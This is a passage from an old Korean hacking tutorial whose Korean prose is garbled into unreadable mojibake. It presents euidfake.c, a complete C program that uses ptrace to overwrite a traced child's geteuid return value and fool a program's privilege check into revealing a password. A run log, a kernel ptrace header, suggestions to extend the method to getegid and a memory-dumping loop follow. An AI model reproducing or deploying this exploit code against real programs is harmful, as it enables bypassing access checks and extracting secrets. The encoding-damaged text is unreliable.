euid¿¡ ÇØ´çÇÏ´Â °ªÀÌ µé¾î°¡ ÀÖÀ» °ÍÀÌ´Ù. ±×¶§ ±× eax¸¦ ¿ì¸®°¡ ¿øÇÏ´Â °ªÀ¸·Î ¹Ù²ãÁÖ¸é ¿ì¸®´Â euid¸¦ fakeÇÒ ¼ö ÀÖ´Ù. ¾Æ·¡ÀÇ ¼Ò½º´Â gdb¸¦ ¾²Áö¾Ê°í ½ÇÇàµÉ ÀÚ½ÄÀ» Æ®·¹À̽ºÇϸ鼭 °ø°ÝÀ» °¨ÇàÇÒ ¼Ò½ºÀÌ´Ù. Âü°íÇÏÀÚ. ++ euidfake.c ++ /* * euidfake.c * * Modified by TrueFinder, seo@igrus.inha.ac.kr * :specially thanx to TEC team. * */ #include #include #include main() { int pid, fake_euid = 0, p, status; long data; int i; int value; struct pt_regs regs; if( ! (pid = fork()) ){ //child ptrace(PTRACE_TRACEME, 0, 1, 0 ); execl( "vulnerable", "working", 0 ); exit(0); } //parent printf("ptrace start : pid = %d, fake_euid = %d\n" , pid , fake_euid); sleep(1); ptrace(PTRACE_SYSCALL, pid, 1, 0); while(1){ p = wait(&status); if ( WIFEXITED(status) ) { printf("child exit()\n"); exit(1); } if ( WIFSIGNALED(status) ) { printf("child exit(), cuz of siganl\n"); exit(1); } //evil start regs.orig_eax = ptrace(PTRACE_PEEKUSR, pid, ORIG_EAX*4, 0); regs.eip = ptrace(PTRACE_PEEKUSR, pid, EIP*4, 0); regs.eax = ptrace(PTRACE_PEEKUSR, pid, EAX*4, 0); printf("orig_eax(%#10x), eip(%#10x), eax(%#10x)\n", regs.orig_eax, regs.eip, regs.eax); if( regs.orig_eax == 0x31 && regs.eax == geteuid() ) ptrace(PTRACE_POKEUSR, pid, EAX*4, fake_euid ); //evil end ptrace(PTRACE_SYSCALL, pid, 1, 0 ); // if not, trace again.... } } -- euidfake.c -- 6. 5.ÀÇ ½ÇÇà °á°ú. ------------------ [seo@richard improve]$ ./vulnerable You Are User 500 [seo@richard improve]$ ./euidfake ptrace start : pid = 6624, fake_euid = 0 You Are Operater ! Password is criminal is a gold broker child exit() [seo@richard improve]$ ºù°í! ¿ì¸®´Â Áö±Ý Àб⠺Ұ¡´ÉÇÑ debug°¡ Çã¿ëµÇÁö ¾Ê´Â ƯÁ¤ÇÑ ÇÁ·Î±×·¥À¸·Î ºÎÅÍ euid =0 ·Î ¹Ù²ã¼­ OperaterÀÇ ÆÐ½º¿öµå¸¦ ¾ò¾î ³»¾ú´Ù. Àç¹ÌÀÖÁö ¾ÊÀº°¡. ±×·¯¸é ¿©±â¼­ ¹Ì¼Ò¸¦ Çѹø Áö¾îÁÖ°í ´ÙÀ½ÀåÀ¸·Î ³Ñ¾î °¡ÀÚ. 7. Âü°í -------- ++ /usr/src/linux/include/sam/ptrace.h ++ #ifndef _I386_PTRACE_H #define _I386_PTRACE_H #define EBX 0 #define ECX 1 #define EDX 2 #define ESI 3 #define EDI 4 #define EBP 5 #define EAX 6 #define DS 7 #define ES 8 #define FS 9 #define GS 10 #define ORIG_EAX 11 #define EIP 12 #define CS 13 #define EFL 14 #define UESP 15 #define SS 16 /* this struct defines the way the registers are stored on the stack during a system call. */ struct pt_regs { long ebx; long ecx; long edx; long esi; long edi; long ebp; long eax; int xds; int xes; long orig_eax; long eip; int xcs; long eflags; long esp; int xss; }; /* Arbitrarily choose the same ptrace numbers as used by the Sparc code. */ #define PTRACE_GETREGS 12 #define PTRACE_SETREGS 13 #define PTRACE_GETFPREGS 14 #define PTRACE_SETFPREGS 15 #ifdef __KERNEL__ #define user_mode(regs) ((VM_MASK & (regs)->eflags) || (3 & (regs)->xcs)) #define instruction_pointer(regs) ((regs)->eip) extern void show_regs(struct pt_regs *); #endif #endif -- /usr/src/linux/asm/i386/ptrace.h -- À§ È­ÀÏÀº ptrace¿¡ °üÇÑ Á¤Àǰ¡ ´ã°ÜÀÖ´Â Çì´õÈ­ÀÏÀÌ´Ù. Ä£ÀýÇÑ ÇÊÀÚ°¡ »ç»ÓÈ÷ ÷ºÎÇØ º»´Ù. 8. Improve it as Your one ! -------------------------- ±×·¸´Ù¸é getegid´Â ¾î¶°ÇѰ¡ ? getegid()¸¦ ÇØÅ·ÇØ º¸ÀÚ. ±×°Íµµ ÀÌ·±½ÄÀÇ °ø°ÝÀ¸·Î ÇØÅ·ÇÒ¼ö ÀÖÀ»±î... ¿ì¼± getegidÀÇ ¿òÁ÷ÀÓÀ» gdb·Î »ìÆìº¸ÀÚ. [seo@richard improve]$ gcc -o getegid getegid.c -g -static [seo@richard improve]$ gdb getegid GNU gdb 4.17.0.11 with Linux support Copyright 1998 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i386-redhat-linux"... (gdb) l 1 main() 2 { 3 int egid; 4 egid = getegid(); 5 printf("getegid = %d\n", getegid() ); 6 } 7 (gdb) disass getegid Dump of assembler code for function __getegid: 0x804bb30 <__getegid>: movl $0x32,%eax 0x804bb35 <__getegid+5>: int $0x80 0x804bb37 <__getegid+7>: cmpl $0xfffff001,%eax 0x804bb3c <__getegid+12>: jae 0x804be40 <__syscall_error> 0x804bb42 <__getegid+18>: ret End of assembler dump. (gdb) ¿ì¸®ÀÇ °ø°Ý½ÃÁ¡Àº int¸¦ È£ÃâÇÏ´Â Àü ½ÃÁ¡ÀÌ´Ù. Áï 0x32ÀÇ ISR2°¡ È£ÃâµÇ´Â ½ÃÁ¡¿¡ registerÀÇ µ¿ÀÛµéÀ» È®ÀÎ ÇÒ¼ö ÀÖ´Ù¸é, À̰ÍÀº getegid¸¦ ÇØÅ·Çϴµ¥¿¡ Áß¿äÇÑ ´Ü¼­°¡ µÈ´Ù. À̰ÍÀº °¢ÀÚÀÇ ¼Õ¿¡ ¸Ã±â°Ú´Ù. euidfake.c¿¡¼­ ¼­ºñ½º·çƾ ¹øÈ£¸¸ ¹Ù²ãÁÖ¸é µÈ´Ù. :¿ä·¸°Ô 0x31 -> 0x32 ´Ù¸¥ ¿ì¸®ÀÇ ÀÚ½Ä ÇÁ·Î¼¼½º·Î ½ÇÇàµÇ¾î È£ÃâµÉ system callÀÇ ÇØÅ·µµ °¢ ·çƾµéÀÌ ¿òÁ÷ÀÌ´Â ·¹Áö½ºÅÍÀÇ µ¿ÇáÀ» ÆÄ¾ÇÇÔÀ¸·Î½á ÃæºÐÈ÷ °¡´ÉÇÏ´Ù. ±×·¯³ª ¾ÆÁ÷ ¸¹Àº °³¼±, ¸¹Àº Åä·ÐÀÇ ¿©Áö°¡ ³²¾Æ ÀÖ´Ù. Ç㳪 ºÐ¸íÇÑ °ÍÀº À̰ÍÀº ÀÌÁ¦ ¾î¶² ±ÇÇѰú °ü·ÃÇÑ ÀϹݽÇÇà±ÇÇÑ ÇÁ·Î±×·¥µéÀº ´õÀÌ»ó ÀüÇô ¾ÈÀüÇÏÁö ¾Ê´Ù´Â °ÍÀ» ½Ã»çÇÑ´Ù. °¢ÀÚ ±Ã±ÝÇÑ ÇÁ·Î±×·¥À» core»óÅ¿¡¼­ ¿ä¸®ÇØ º¸ÀÚ. "±×°ÍÀº ¿ì¸® hard study hackersµé¿¡°Ô ¸Ã±â°Ú´Ù." ÀÌÁ¦ À̰ÍÀº ³ªÀÇ ¸àÆ®°¡ µÇ¾î ¹ö·È´Ù. ;) '³ª´Â ¿Ö ÀÌ·¸°Ô °ÔÀ¸¸¥ °É±î.' ¾Æ¹«Æ° ³ª´Â ÀÌ·±½ÄÀÇ ÇØÅ·ÀÌ ÀÌ·ç¾î Áú¼ö ÀÖ´Ù´Â °ÍÀ» º¸¿´´Ù. ±×°Ô ¹®¼­ÀÇ °á·ÐÀÌ´Ù. ¾î¶² ½ÇÁ¦ ÇÁ·Î±×·¥¿¡ Àû¿ëµÇ´ÂÁö ½ÇÇèÇØº¸°í, ³ª¿¡°Ôµµ ±× ½ÇÁ¦ÀÇ ¿¹¸¦ º¸¿©´Þ¶ó. ±â²¨ÀÌ Åä·Ð¿¡ ÀÀÇØÁÙ °ÍÀÌ´Ù. B-) ÇѰ¡Áö ´õ »çÁ·ÇÑ´Ù¸é, ÀϹÝÀûÀÎ ELF°¡ 0x8048000¿¡¼­ ½ÃÀÛÇÑ´Ù°í ÇÒ¶§, ¿ì¸®´Â ÀÌ ÇÁ·Î±×·¥ Àüü¸¦ ´ýÇÁÇØ º¼¼öµµ ÀÖ´Ù. for(i=0x8048000; i < x ; i++ ) { ptrace(PTRACE_PEEKDATA, child_pid, i, 0) ; } ¾î¶°ÇѰ¡. À̸¦ È­ÀÏ·Î ÀúÀåÇÏ¸é ¿ì¸®´Â dump¸¦ ÇÑ °æ¿ì¿Í ¸¶Âú°¡ÁöÀÇ °á°ú¸¦ ¾òÀ»¼ö ÀÖ´Ù. very happy. ÀÌ·Î½á ¿ì¸®´Â ½Ã½ºÅÛÀÇ read±ÇÇÑÀ» ¹«ÂüÈ÷ Áþ¹â¾Æ ¹ö¸°¼ÀÀÌ´Ù.??? ´Ù¸¥ »çÁ·À» ´õ ÷°¡ÇÏÀÚ¸é... suidÇÁ·Î±×·¥ÀÇ °æ¿ì´Â. »ç¿ëÀÚ°¡ trace¸¦ ÇÒ¼ö´Â ÀÖÀ¸³ª ½Ã½ºÅÛÀÇ ±ÇÇѰú °ü·ÃµÈ system callÀº operationÀÌ ±ÝÁöµÈ´Ù. ´ç¿¬ÇÑ °ÍÀÌ child process°¡ ºÎ¸ð¿Í ´Ù¸¥ ±ÇÇÑÀ» °®´Â ¶ÇÇϳªÀÇ µ¶¸³ÀûÀÎ coreÀ̱⠶§¹®ÀÌ´Ù. ´Ù¸¥ ±ÇÇÑÀ» °®´Â ÇÁ·Î¼¼½º¸¦ ħ¹üÇÏ´Â °ÍÀº OSÀÇ ±¸Á¶»ó ¿ë³²µÇÁö ¾Ê´Â ÀÏÀÌ´Ù. ÀÌÀü ¹öÁ¯ÀÇ kernelÀº 2.2.19ÀÌÇÏ ¹öÁ¯. À¯Àú°¡ suid ÇÁ·Î±×·¥À» parent¿¡ attachÇÏ°Ô ¹æ°üÇß¾ú´Ù. ±×·¡¼­ ¹ß»ý½ÃŲ ÃÊÀ¯ÀÇ ¹®Á¦¸¦ 2.4.x¿Í 2.2.19¹öÁ¯¿¡¼­ ÆÐÄ¡Çß´Ù. µû¶ó¼­ ÇöÀç´Â suidÇÁ·Î±×·¥À» ptrace·Î ÇØÅ·ÇÒ ¹æ¹ýÀÇ ¿©Áö´Â ¾ø¾îÁø ¼ÀÀÌ´Ù. ±× ¸¶Âú°¡Áö ÀÌ·±ÇÑ ¸Þ½îµå¸¦ Ȱ¿ëÇÑ ¿¹¶ó ÇϰڴÙ. ³»°¡ À߸ø ¾Ë°í ÀÖ´Ù¸é ¸ÞÀÏÀ» ´Þ¶ó ?! ÈÄÈÄ. ¸Ó¸®°¡ ¶òÇÑ »óÅ¿¡¼­ ¹®¼­¸¦ ÀÛ¼ºÇÏ¿´±â¿¡ ±ÛÀÌ ¸Å²ô·´Áö ¸øÇÏ´Ù. ±×¿¡ ´ëÇÑ µ¶ÀÚÀÇ ¿ë¼­¸¦ ±¸ÇÑ´Ù. ´Ù¸¸, µ¶ÀÚµéÀÌ À̱ÛÀ» Àß Âü°íÇØ¼­ ÀÚ½ÅÀÇ Áö½ÄÀ¸·Î ½×¾ÒÀ¸¸é ±×°ÍÀ¸·Î ÇÊÀÚ´Â ÃæºÐÈ÷ ±â»Ú´Ù. ±×·³ ºÎµð ¿ì¸® hard study ÇØÄ¿µé¿¡°Ô ¹«±ÃÇÑ ¿µ±¤ÀÌ Àֱ⸦ ºô¸ç ÀÌ Á¹¹®À» ¿©±â¼­ ¸¶Ä¡·Á ÇÑ´Ù. *** Especially thanks to TECH team and kids. "Jedi uses the force for knowledge , not for attack" EOF